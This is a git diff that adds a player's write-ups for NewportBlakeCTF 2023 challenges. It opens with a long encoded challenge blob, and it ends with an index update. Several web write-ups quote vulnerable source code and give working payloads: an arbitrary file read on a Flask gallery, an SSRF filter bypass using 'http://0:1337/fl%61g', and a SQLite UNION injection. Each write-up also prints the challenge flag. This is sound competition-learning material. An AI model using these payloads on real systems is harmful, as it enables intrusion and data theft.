TRXBZWWtkb2NGbHNXa3RXVm1SWVpFYzVVazFWTlVoV01uUnZZa1pLVldKR1dscGlSbHBZVkd0YWNtUXhXblZVYkdST1lURlpNVlpyWkhkVk1XUjBVbTVLV0dKR1NtRlVWelZQVGtaYWRHVkhkR3RTTUZwSFZHeFZNV0ZXV1hsaFIwWlhZV3RhY2xSclpFcGxSa3BaWVVaYWFFMXNTbGhYVjNSaFpERmtWMkpJVW1wbGExcFpWVzE0UzFkR1pISlhhemxZVWpCd1NWcFZhSE5XTURGMVZGUkdXbFpXY0doWk1qRkxVbFpXYzFkck5XbGlWMmgyVm0weGQxTXhTWGxVYms1VllteGFWVmxyYUVOaU1XeFZVbTVrYVUxV2NEQlpNRll3VmtVeFZrNVdhRmRpVkZaVVdXdGFTMk14VG5OVmJGWlhZa1p2ZWxZeFdtRlpWMDE0WVROd2FGSlViRlJaYkdodlYwWmFSMWRzWkdoTmExcDZWVEkxVDJGc1NuUmhSMFpYWVdzMVZGWkZXbUZqVmtwelZHeGtUbFp1UVhoV01uUnJUa2RHVjFOdVZsSlhSMUpaVm10V1MyRkdiRlZTYlhSVVVtczFlbGRyV205aFYwcFpZVVprV0ZZelVuSlpha3BIVWpGa1dXSkhlRk5pYTBwNlYxZDBZVk15VmtkWGJHaHNVak5TVmxsclZuZE5WbFpZWlVoT1dGSnNjRWRXTWpGdlZtMVdjbU5GT1dGV1YxSlFWVzE0ZDFOR1NuTlVhelZPWWxkbmVWWnRkR0ZaVm14WVZGaGtUMWRGTlZsWmJYaExWREZhY2xkcmRGZE5Wa3BZVm0weFIxUnNTbk5qUm1oYVZsZG9VRlpxUVhoamJGcHhWbXhrVjAweWFHOVdha2w0VXpGa1YxVnNiR2hTYlZKdlZGWm9RMDVzWkZWVGFsSnJUVlZzTkZaWE5VOWhSa3B5VGxoQ1dsWkZTak5YVmxwYVpWZFNSMXBHWkU1aVJWa3dWbXhqTVZReFdraFRia3BQVjBWYVYxbHJaRkpOUm14V1YyeGthazFZUWtoV1IzaFRWVEpLV1dGR2FGZGlXR2gyV1dwR1dtVldUbk5YYlhCVFZtNUNXVlp0Y0U5aU1sSnpZa1phVjFkSGFISlZha0poVTBac2NsZHRkR2hXYlZKSldWVm9jMVl4WkVsUmEyaGFWa1ZhVUZWcVJrOWtWazUwVW14T2FWWnJjRE5XYkdOM1RWWkZlVlZZYUZoaVIyaFBWbXRXUzJOc1VsZGFSazVZVW14c05WUnNWbXRXYXpGeVkwWmtWMDFxUmtoV2FrcExWbFpLYzFWc1drNVdia0p2VmxSQ2ExVXhUa2RUYms1aFVtMVNUMVV3Vmt0VE1WcDBaVWQwYkdGNlZsaFdNalZUVlRGa1NHRklSbFpoYTNCMlZtcEdVMVl4WkhWYVIzQnBVbTVDTkZaWE1UUmhNa1owVW1wYWFWSnRlR0ZXYkZwV1pVWmFjVkZZYUZkaVZUVkhXa1ZhYTJGV1NuSmpSWGhYVW14d2FGWkhNVmRTTVZwellrZG9VMkpYYUhkWFYzUlhaREpTYzFkc2FFNVdSa3B5VkZaa1UxTkdiSEpoUlhSWVVqQndNRlpYZUdGV2JVcFpZVVpvVlZaRldtRmFWbVJYVTBaS2RHSkdUbWhOTUVZelZtMTRhMlF4U1hoWFdHaFVWMGhDYjFVd1ZuZFpWbHAwWlVoa1ZWSnVRa2hXTW5ScllXeGFkRlZ1Y0ZoaE1sSjJWa2N4UzFKc1duRlViR1JPVm01Q1ZWWlhjRWRXYlZaWFZXeHNhRkpzV25CWlZFNURWMnhrV0dSSGRHbE5hMncwVmxkNGIxUXhXalppUm14YVlURndNMVJWV25kU2JHUjBaRVprVTFaRldqVldSM2h2WkRGa2RGSlliR2hTVjJoWVZtdFdkMVJHV1hoWGJHUnJWbXMxZWxZeU1YTlhSa2w1V2tSYVYyRXhjR2hYVmxwaFpFWmFjMkZHWkdoTmJXaFNWbTF3UzJJeFpFZFZiRnBZWWtoQ1QxbHJXbmRYUm1SVlZHMTBWVTFXY0hwWmExSlRWakF4ZFZGdGFGZFdSVnBvVlcxNFQyUkhSa2RYYldoT1ZtNUNTbFpyV2xOU01sRjRWMjVPWVZOR1NsUlpiR2hUVjBac1ZWUnJUazlpUm5CNVYxUk9iMkZyTVZkV2FsSlhUVzVTY2xZd1pFZGpNVTV6WVVaV1YySklRWHBYYTJRMFpERktWMU51VG1wU00yaFVXVzEwUzFOR1dYbGtSM1JUVFZad1NGVXllSE5WYlVwVllrWm9WMkp1UWxoVVZFWnpUbXhLZEZKdGNFNWhNMEpMVmxSS05HSXlSbGhTYWxwWFlrVmFXVlpxVGxOaFJuQkZVbTEwVTAxcmNFaFdNakZ2VlRBd2VGTnNiRmRTYkZwVVZXcEtWMVl5UlhwYVJtaHBWbFp3V1ZkWGRHRmpNRFZ6Vm14b2JGSnJOVmxWYlhoM1pXeHJkMVpxVWxkaVZYQmFXVlZvUzFkck1YVlVWRVpYVFVad1RGbDZSbE5qTVZKeldrWmthVmRHUmpaV2JUQjNaREpSZVZacldrOVdWMmhYVmpCa2IxWldXWGRhUnpsb1VteFdNMVpzVWtkaFZURlhWMnBDV2swelFraFdiRlY0VjBkV1NXTkdhR2hOYXpCNFYxWldZVk15VFhsVWEyeG9VbXh3Y0ZaclZscGxiR1JZWkVkR1ZFMVdjRmhXTWpWTFlVWktkRlZzVWxwaVIxSjJWRmQ0WVdOV1JuUmtSbEpPVmxSV1NWWnRNREZXTVZaMFUydGthbE5GU2xoVVZXUlRaR3hzY1ZKdFJtdFNNVXBKVlcweGQxUnRTa1pqUldoWFVteHdhRmxVUm1GWFJrNXlZVWRvVTJKRmNHaFhWbEpMWWpGRmVHTkZWbE5pVlZwVVZGWmtVMlZzV2tobFIwWlZZbFZXTmxWWGRITldNa1p5WVROb1YxSkZjRWhXYWtaUFkyeHdSMkZIYkZOaWEwcHZWakZhVTFNeFZYaFdXR2hxVWxaYVZGbHNWbUZqVmxwMFpFZEdXR0pIZUZkWGEyaHJZVVphYzJOR1dsZGlXRkoyVmpCYVlXTXhaSFJoUjBaVFVsWndWVmRZY0VkVU1XUllVMnRvVTJGNlZrOVVWVlozVjJ4WmVGcEVVbWxOVlZZMFZXeG9iMkZzU25OalIyaFdZbGhOZUZZd1dsTldNV1IxV2tVMVYySklRWGRYYkZaaFZESkdSMWR1U21sU1JrcFhWRmMxYjFkR1duRlNhM1JxVFZVMWVWWkhlRmRXTVZwelYxUkNWMVl6UWtoWlZFcFRWakZhZFZWdGNGTmhlbFpaVmtaYVYyUXdNWE5YYmtwWVlsaFNjMWxZY0VkV01WSlhWbTEwVjAxcmNIcFZNalZMVm0xR2NrNVdVbGROVm5CWVdURmFSMlJXY0VkaFJtUnBZVEJ3V1ZadGNFdE9SbEY0V2tWb1ZHRXlVbkZWYkdSVFZteHNjbGR0UmxaU2JIQjZWako0ZDJKSFNsWlhhMnhhVmxkU1NGWlVSbHBsUms1ellrWmtWMUpWY0c5V1dIQkxWRzFXVjFWdVNtRlNNRnBVVkZjMWIxWldXa2RWYTNSVlRVUkNORll5TlZOVWJHUklWV3hXVlZaV1NsaFZNRnB6WTJ4a2RHUkdaR2xXV0VJMVZrZDRZV014WkhSU1dHeFdZa1pLV0ZSV1duZGxiR3cyVW14a2ExWnNTakJaVlZwUFlWWk9SbE5VUWxkaVdGSnlWRlZhVW1WR1duVlRhelZYWWxaS1ZWZFdaRFJUTVZsNFlraEtXR0V6VW5OWmExcDNWMFpaZVdWSGRGZE5WbkJXVlcxMFlWZHNaRWhQVkU1V1VtdFZOVlZHUlRsUVVUMDk= \ No newline at end of file diff --git a/NewportBlakeCTF 2023/32+32=64/README.md b/NewportBlakeCTF 2023/32+32=64/README.md new file mode 100644 index 0000000..954ea67 --- /dev/null +++ b/NewportBlakeCTF 2023/32+32=64/README.md @@ -0,0 +1,16 @@ +# 32+32=64 +> 64 is too much, but 32 isn't. 32+32=64? + +## About the Challenge +We were given 2 files and each file contains base64 encoded text (You can download the file [here](32_1.txt) and [here](32_2.txt)) + +## How to Solve? +Open the file in CyberChef and then decode the encoded text using `Base64` encoding 32 times + +![Flag 1](images/flag1.png) + +![Flag 2](images/flag2.png) + +``` +nbctf{h0pE_y0U_h4d_fUn} +``` \ No newline at end of file diff --git a/NewportBlakeCTF 2023/32+32=64/images/flag1.png b/NewportBlakeCTF 2023/32+32=64/images/flag1.png new file mode 100644 index 0000000..65109a4 Binary files /dev/null and b/NewportBlakeCTF 2023/32+32=64/images/flag1.png differ diff --git a/NewportBlakeCTF 2023/32+32=64/images/flag2.png b/NewportBlakeCTF 2023/32+32=64/images/flag2.png new file mode 100644 index 0000000..5d9b6de Binary files /dev/null and b/NewportBlakeCTF 2023/32+32=64/images/flag2.png differ diff --git a/NewportBlakeCTF 2023/Caesar Salads/README.md b/NewportBlakeCTF 2023/Caesar Salads/README.md new file mode 100644 index 0000000..74acbbc --- /dev/null +++ b/NewportBlakeCTF 2023/Caesar Salads/README.md @@ -0,0 +1,18 @@ +# Caesar Salads +> Every CTF needs an introductory crypto. I found a roman emperor that made this super cool cipher. Can you decrypt this for me? + +## About the Challenge +We were given a file called `output.txt` and here is the content of the file + +``` +Ciphertext: xlmdp{ryzo_drsc_gkcxd_dyy_rkbn_yp_k_cdkbd} +``` + +## How to Solve? +Replaces each letter with the 16th letter after it in the latin alphabet + +![flag](images/flag.png) + +``` +nbctf{hope_this_wasnt_too_hard_of_a_start} +``` \ No newline at end of file diff --git a/NewportBlakeCTF 2023/Caesar Salads/images/flag.png b/NewportBlakeCTF 2023/Caesar Salads/images/flag.png new file mode 100644 index 0000000..e54e751 Binary files /dev/null and b/NewportBlakeCTF 2023/Caesar Salads/images/flag.png differ diff --git a/NewportBlakeCTF 2023/Galleria/README.md b/NewportBlakeCTF 2023/Galleria/README.md new file mode 100644 index 0000000..6403d69 --- /dev/null +++ b/NewportBlakeCTF 2023/Galleria/README.md @@ -0,0 +1,37 @@ +# Galleria +> Put up some fun images for everyone in this amazing image gallery! + +## About the Challenge +We were given a web and a source code, the web has many functionalities such as: +* We can upload an image +* We can read arbitrary file + +Here is the preview of the website + +![preview](images/preview.png) + +## How to Solve? +If we check the `Dockerfile` file, the flag was located in `/tmp/flag.txt` and because we can read any file using `/gallery` endpoint + +```python +@app.route('/gallery') +def gallery(): + if request.args.get('file'): + filename = os.path.join('uploads', request.args.get('file')) + if not check_file_path(filename): + return redirect(url_for('gallery')) + + return send_file(filename) + + image_files = [f for f in os.listdir( + app.config['UPLOAD_FOLDER'])] + return render_template('gallery.html', images=image_files) +``` + +We can read the flag using this [payload](https://galleria.chal.nbctf.com/gallery?file=/tmp/flag.txt) + +![flag](images/flag.png) + +``` +nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!} +``` \ No newline at end of file diff --git a/NewportBlakeCTF 2023/Galleria/images/flag.png b/NewportBlakeCTF 2023/Galleria/images/flag.png new file mode 100644 index 0000000..75f7ce7 Binary files /dev/null and b/NewportBlakeCTF 2023/Galleria/images/flag.png differ diff --git a/NewportBlakeCTF 2023/Galleria/images/preview.png b/NewportBlakeCTF 2023/Galleria/images/preview.png new file mode 100644 index 0000000..81d0c00 Binary files /dev/null and b/NewportBlakeCTF 2023/Galleria/images/preview.png differ diff --git a/NewportBlakeCTF 2023/Inspector Gadget/README.md b/NewportBlakeCTF 2023/Inspector Gadget/README.md new file mode 100644 index 0000000..78f7dfb --- /dev/null +++ b/NewportBlakeCTF 2023/Inspector Gadget/README.md @@ -0,0 +1,35 @@ +# Inspector Gadget +> While snooping around this website, inspector gadet lost parts of his flag. Can you help him find it? + +## About the Challenge +We were given a website without any source code, and the flag has been split into 4 parts. We need to find all of them + +## How to Solve? +* Part 1/4: + +We can find this in one of the hyperlink (/gadgetmag.html) + +![Part 1/4](images/part1.png) + +* Part 2/4: + +There's a hidden file called `supersecrettopsecret.txt` inside `getFlag()` function + +![getFlag func](images/getFlag.png) + +![Part 2/4](images/part2.png) +* Part 3/4: + +We can find this in the homepage + +![Part 3/4](images/part3.png) + +* Part 4/4: + +There's a new file called `/mysecretfiles.html` inside `robots.txt` + +![Part 4/4](images/part4.png) + +``` +nbctf{G00d_J06_D3tect1v3_G4dg3t352} +``` \ No newline at end of file diff --git a/NewportBlakeCTF 2023/Inspector Gadget/images/getFlag.png b/NewportBlakeCTF 2023/Inspector Gadget/images/getFlag.png new file mode 100644 index 0000000..8c5851b Binary files /dev/null and b/NewportBlakeCTF 2023/Inspector Gadget/images/getFlag.png differ diff --git a/NewportBlakeCTF 2023/Inspector Gadget/images/part1.png b/NewportBlakeCTF 2023/Inspector Gadget/images/part1.png new file mode 100644 index 0000000..3d97c45 Binary files /dev/null and b/NewportBlakeCTF 2023/Inspector Gadget/images/part1.png differ diff --git a/NewportBlakeCTF 2023/Inspector Gadget/images/part2.png b/NewportBlakeCTF 2023/Inspector Gadget/images/part2.png new file mode 100644 index 0000000..85ca440 Binary files /dev/null and b/NewportBlakeCTF 2023/Inspector Gadget/images/part2.png differ diff --git a/NewportBlakeCTF 2023/Inspector Gadget/images/part3.png b/NewportBlakeCTF 2023/Inspector Gadget/images/part3.png new file mode 100644 index 0000000..5731959 Binary files /dev/null and b/NewportBlakeCTF 2023/Inspector Gadget/images/part3.png differ diff --git a/NewportBlakeCTF 2023/Inspector Gadget/images/part4.png b/NewportBlakeCTF 2023/Inspector Gadget/images/part4.png new file mode 100644 index 0000000..92368bb Binary files /dev/null and b/NewportBlakeCTF 2023/Inspector Gadget/images/part4.png differ diff --git a/NewportBlakeCTF 2023/README.md b/NewportBlakeCTF 2023/README.md new file mode 100644 index 0000000..3a685cf --- /dev/null +++ b/NewportBlakeCTF 2023/README.md @@ -0,0 +1,15 @@ +# NewportBlakeCTF 2023 +CTF writeup for The 0ByteCTF 2023. I took part in this CTF competition (Solo) and secured the 80th place out of 376+ users + +| Category | Challenge | +| --- | --- | +| Web | [Inspector Gadget](/NewportBlakeCTF%202023/Inspector%20Gadget/) +| Web | [walter's crystal shop](/NewportBlakeCTF%202023/walter's%20crystal%20shop/) +| Web | [secret tunnel](/NewportBlakeCTF%202023/secret%20tunnel/) +| Web | [Galleria](/NewportBlakeCTF%202023/Galleria/) +| Cryptography | [Caesar Salads](/NewportBlakeCTF%202023/Caesar%20Salads/) +| Cryptography | [32+32=64](/NewportBlakeCTF%202023/32+32=64/) +| Misc | [do you hear that?](/NewportBlakeCTF%202023/do%20you%20hear%20that?/) +| Misc | [not accepted](/NewportBlakeCTF%202023/not%20accepted/) + +> I didn't create a writeup for OSINT chall \ No newline at end of file diff --git a/NewportBlakeCTF 2023/do you hear that?/README.md b/NewportBlakeCTF 2023/do you hear that?/README.md new file mode 100644 index 0000000..a766089 --- /dev/null +++ b/NewportBlakeCTF 2023/do you hear that?/README.md @@ -0,0 +1,43 @@ +# do you hear that? +> I'm not sure why, but when I look at this image I can hear some sort of faint sound. Do you hear it too? + +## About the Challenge +We were given an image called `help.png` (You can download the file [here](help.png)) and if we check using `zsteg` there's a wav file inside the image + +``` +root@ubuntu:~# zsteg help.png +[?] 317564 bytes of extra data after image end (IEND), offset = 0x8a24 +extradata:0 .. file: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz + 00000000: 52 49 46 46 74 d8 04 00 57 41 56 45 66 6d 74 20 |RIFFt...WAVEfmt | + 00000010: 10 00 00 00 01 00 01 00 44 ac 00 00 88 58 01 00 |........D....X..| + 00000020: 02 00 10 00 64 61 74 61 50 d8 04 00 00 00 00 00 |....dataP.......| + 00000030: 01 00 03 00 05 00 08 00 0a 00 0b 00 0b 00 09 00 |................| + 00000040: 06 00 02 00 fe ff f9 ff f6 ff f4 ff f5 ff f7 ff |................| + 00000050: fb ff 00 00 04 00 08 00 09 00 06 00 00 00 f7 ff |................| + 00000060: ec ff e0 ff d5 ff cd ff c8 ff c8 ff ce ff d7 ff |................| + 00000070: e3 ff f0 ff fb ff 03 00 05 00 01 00 f7 ff e9 ff |................| + 00000080: d8 ff c9 ff be ff b9 ff bd ff cb ff e0 ff fd ff |................| + 00000090: 1b 00 39 00 51 00 60 00 64 00 5c 00 4b 00 32 00 |..9.Q.`.d.\.K.2.| + 000000a0: 18 00 02 00 f6 ff f7 ff 08 00 29 00 57 00 8d 00 |..........).W...| + 000000b0: c3 00 f1 00 0e 01 16 01 05 01 db 00 9e 00 55 00 |..............U.| + 000000c0: 0c 00 ce ff a6 ff 9d ff b7 ff f2 ff 46 00 a4 00 |............F...| + 000000d0: fb 00 36 01 40 01 09 01 88 00 ba ff aa fe 6a fd |..6.@.........j.| + 000000e0: 17 fc d3 fa c5 f9 10 f9 d2 f8 21 f9 01 fa 6d fb |..........!...m.| + 000000f0: 4c fd 7b ff cb 01 09 04 04 06 8f 07 89 08 de 08 |L.{.............| +[!] possible image block size is 639x5, downscaling may be necessary +``` + +## How to Solve? +First, we need to extract the WAV file inside the png using this command + +```bash +zsteg -e extradata:0 help.png > sound.wav +``` + +And then use spectogram analyzer, there's an online tool like https://www.dcode.fr/spectral-analysis or you can use `Sonic Visualizer` + +![Flag](images/flag.png) + +``` +bctf{y0u_h4v3_s0m3_g00d_34rs} +``` \ No newline at end of file diff --git a/NewportBlakeCTF 2023/do you hear that?/help.png b/NewportBlakeCTF 2023/do you hear that?/help.png new file mode 100644 index 0000000..612e229 Binary files /dev/null and b/NewportBlakeCTF 2023/do you hear that?/help.png differ diff --git a/NewportBlakeCTF 2023/do you hear that?/images/flag.png b/NewportBlakeCTF 2023/do you hear that?/images/flag.png new file mode 100644 index 0000000..7acd8f3 Binary files /dev/null and b/NewportBlakeCTF 2023/do you hear that?/images/flag.png differ diff --git a/NewportBlakeCTF 2023/not accepted/README.md b/NewportBlakeCTF 2023/not accepted/README.md new file mode 100644 index 0000000..ca3a06b --- /dev/null +++ b/NewportBlakeCTF 2023/not accepted/README.md @@ -0,0 +1,17 @@ +# not accepted +> I can't seem to pass this problem... can you help me? https://codeforces.com/contestInvitation/9cf6e56adf19ecb8e5dd7af8a9c5bf5610c8e46e + +## About the Challenge +We were given a "programming" chall, but in this case we need to only input wrong and correct answer to get all the flag + +## How to Solve?! + +![Flag 1/3](images/flag1.png) + +![Flag 2/3](images/flag2.png) + +![Flag 3/3](images/flag3.png) + +``` +nbctf{n1C3_y0U_90t_4lL_mY_V3rd1cTs} +``` \ No newline at end of file diff --git a/NewportBlakeCTF 2023/not accepted/images/flag1.png b/NewportBlakeCTF 2023/not accepted/images/flag1.png new file mode 100644 index 0000000..4ac350d Binary files /dev/null and b/NewportBlakeCTF 2023/not accepted/images/flag1.png differ diff --git a/NewportBlakeCTF 2023/not accepted/images/flag2.png b/NewportBlakeCTF 2023/not accepted/images/flag2.png new file mode 100644 index 0000000..bbc9064 Binary files /dev/null and b/NewportBlakeCTF 2023/not accepted/images/flag2.png differ diff --git a/NewportBlakeCTF 2023/not accepted/images/flag3.png b/NewportBlakeCTF 2023/not accepted/images/flag3.png new file mode 100644 index 0000000..02d0ad3 Binary files /dev/null and b/NewportBlakeCTF 2023/not accepted/images/flag3.png differ diff --git a/NewportBlakeCTF 2023/secret tunnel/README.md b/NewportBlakeCTF 2023/secret tunnel/README.md new file mode 100644 index 0000000..941c73a --- /dev/null +++ b/NewportBlakeCTF 2023/secret tunnel/README.md @@ -0,0 +1,41 @@ +# secret tunnel +> Can you find the flag on the other end of my secret tunnel? + +## About the Challenge +We were given a website and source code (You can download the source code [here](secret_tunnel.zip)). Here is the preview of the website + +![preview](images/preview.png) + +If we check the source code, there are 2 ports `1337` and `80`. To get the flag we need to access port 1337 so this is a SSRF chall. But there are some restrictions: +* Checks if the string "127" is present in the URL. +* Checks if the count of dots in the URL is greater than 2. +* Checks if the character "x" is present in the URL. +* Checks if the string "flag" is present in the URL. + +The source code: +```python +@app.route("/fetchdata", methods=["POST"]) +def fetchdata(): + url = request.form["url"] + + if "127" in url: + return Response("No loopback for you!", mimetype="text/plain") + if url.count('.') > 2: + return Response("Only 2 dots allowed!", mimetype="text/plain") + if "x" in url: + return Response("I don't like twitter >:(" , mimetype="text/plain") + if "flag" in url: + return Response("It's not gonna be that easy :)", mimetype="text/plain") +... +``` + +## How to Solve? +We can bypass the restriction using `http://0:1337/fl%61g` payload: +* Instead of using localhost / 127.0.0.1 we can bypass it by using `http://0` +* To bypass the `flag` string restriction, we need to encode one / more character using url encoding + +![flag](images/flag.png) + +``` +nbctf{s3cr3t_7uNN3lllllllllll!} +``` \ No newline at end of file diff --git a/NewportBlakeCTF 2023/secret tunnel/images/flag.png b/NewportBlakeCTF 2023/secret tunnel/images/flag.png new file mode 100644 index 0000000..23bab4e Binary files /dev/null and b/NewportBlakeCTF 2023/secret tunnel/images/flag.png differ diff --git a/NewportBlakeCTF 2023/secret tunnel/images/preview.png b/NewportBlakeCTF 2023/secret tunnel/images/preview.png new file mode 100644 index 0000000..23f30a2 Binary files /dev/null and b/NewportBlakeCTF 2023/secret tunnel/images/preview.png differ diff --git a/NewportBlakeCTF 2023/secret tunnel/secret_tunnel.zip b/NewportBlakeCTF 2023/secret tunnel/secret_tunnel.zip new file mode 100644 index 0000000..eaa0d4c Binary files /dev/null and b/NewportBlakeCTF 2023/secret tunnel/secret_tunnel.zip differ diff --git a/NewportBlakeCTF 2023/walter's crystal shop/README.md b/NewportBlakeCTF 2023/walter's crystal shop/README.md new file mode 100644 index 0000000..7c5f668 --- /dev/null +++ b/NewportBlakeCTF 2023/walter's crystal shop/README.md @@ -0,0 +1,41 @@ +# walter's crystal shop +> My buddy Walter is selling some crystals, check out his shop! + +## About the Challenge +We were given a website and source code (You can download the source code [here](walters_crystal_shop.zip)). There's only 1 functionality where we can search some crstal + +![preview](images/preview.png) + +## How to Solve? +If we look at the source code, this website was vulnerable to SQL injection (SQLite) + +```javascript +app.get("/crystals", (req, res) => { + const { name } = req.query; + + if (!name) { + return res.status(400).send({ err: "Missing required fields" }); + } + + db.all(`SELECT * FROM crystals WHERE name LIKE '%${name}%'`, (err, rows) => { + if (err) { + console.error(err.message); + return res.status(500).send('Internal server error'); + } + + return res.send(rows); + }); +}); +``` + +And because the flag was located in a table called `flag`. To obtain the flag we need to input this payload + +``` +' union select (select * from flag),2,3-- - +``` + +![Flag](images/flag.png) + +``` +nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5} +``` \ No newline at end of file diff --git a/NewportBlakeCTF 2023/walter's crystal shop/images/flag.png b/NewportBlakeCTF 2023/walter's crystal shop/images/flag.png new file mode 100644 index 0000000..dfbb933 Binary files /dev/null and b/NewportBlakeCTF 2023/walter's crystal shop/images/flag.png differ diff --git a/NewportBlakeCTF 2023/walter's crystal shop/images/preview.png b/NewportBlakeCTF 2023/walter's crystal shop/images/preview.png new file mode 100644 index 0000000..844abd8 Binary files /dev/null and b/NewportBlakeCTF 2023/walter's crystal shop/images/preview.png differ diff --git a/NewportBlakeCTF 2023/walter's crystal shop/walters_crystal_shop.zip b/NewportBlakeCTF 2023/walter's crystal shop/walters_crystal_shop.zip new file mode 100644 index 0000000..e33f5be Binary files /dev/null and b/NewportBlakeCTF 2023/walter's crystal shop/walters_crystal_shop.zip differ diff --git a/README.md b/README.md index bdc2c68..370051c 100644 --- a/README.md +++ b/README.md @@ -125,10 +125,12 @@ List of CTF events that i have joined before | EKOPARTY CTF 2023 | Yes | [Link](/EKOPARTY%20CTF%202023/) | | TSG CTF 2023 | Yes | [Link](/TSG%20CTF%202023/) | | 1337UP LIVE CTF | Yes | [Link](/1337UP%20LIVE%20CTF/) | +| NewportBlakeCTF 2023 | Yes | [Link](/NewportBlakeCTF%202023/) | ### Local Events | Event Name | Writeup Available? | Writeup Link | | ---------- | ------------------ | ------------ | +| Cyber Jawara 2023 - Umum | No | [Link](/Cyber%20Jawara%202023%20-%20Umum/) | | Information and Technology Festival 2023 | No | - | | 0ByteCTF 2023 | Yes | [Link](/0ByteCTF%202023/) | | N45HTCTF2023 2023 | No | - |